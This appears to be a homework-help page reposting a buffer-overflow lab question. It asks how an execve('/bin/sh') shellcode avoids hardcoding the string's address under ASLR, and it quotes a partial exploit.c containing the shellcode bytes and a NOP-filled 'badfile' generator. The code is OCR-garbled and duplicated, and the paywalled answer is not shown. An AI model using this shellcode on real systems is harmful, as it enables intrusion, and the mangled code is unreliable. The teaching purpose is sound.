Question: 6. To write a shellcode, we need to know the address of the string /bin/sh. If we have to hardcode the address in the code,

 6. To write a shellcode, we need to know the address

6. To write a shellcode, we need to know the address of the string "/bin/sh". If we have to hardcode the address in the code, it will become difficult if ASLR is turned on. Shellcode solved that problem without hardcoding the address of the string in the code. Please explain how the shellcode in exploit.c achieved that. /* exploit.c */ /* A program that creates a file containing code for launching shell* #include #include #include char shellcode[]- /* xor1 /* pushl / pushl /*pushl /* mov! /* pushl /* pushl /* mov! /s cdq %eax , %eax %eax "x50" "\x68""/sh" "\x68""/bin" "x89\xe3" "x50" "x53" "\x89\xel" "\x99" $0x68732f2f $0x6e69622f %esp,%ebx %eax %ebx %esp,%ecx "xcd\x80" /* int $0x80 void main(int argc, char **argv) char buffer[517]; FILE *badfile; /*Initialize buffer with 0x90 (NOP instruction) */ memset (&buffer, 0x90, 517; * You need to fill the buffer with appropriate contents here * Save the contents to the file "badfile" */ badfile-fopen(./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); 6. To write a shellcode, we need to know the address of the string "/bin/sh". If we have to hardcode the address in the code, it will become difficult if ASLR is turned on. Shellcode solved that problem without hardcoding the address of the string in the code. Please explain how the shellcode in exploit.c achieved that. /* exploit.c */ /* A program that creates a file containing code for launching shell* #include #include #include char shellcode[]- /* xor1 /* pushl / pushl /*pushl /* mov! /* pushl /* pushl /* mov! /s cdq %eax , %eax %eax "x50" "\x68""/sh" "\x68""/bin" "x89\xe3" "x50" "x53" "\x89\xel" "\x99" $0x68732f2f $0x6e69622f %esp,%ebx %eax %ebx %esp,%ecx "xcd\x80" /* int $0x80 void main(int argc, char **argv) char buffer[517]; FILE *badfile; /*Initialize buffer with 0x90 (NOP instruction) */ memset (&buffer, 0x90, 517; * You need to fill the buffer with appropriate contents here * Save the contents to the file "badfile" */ badfile-fopen(./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile)

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!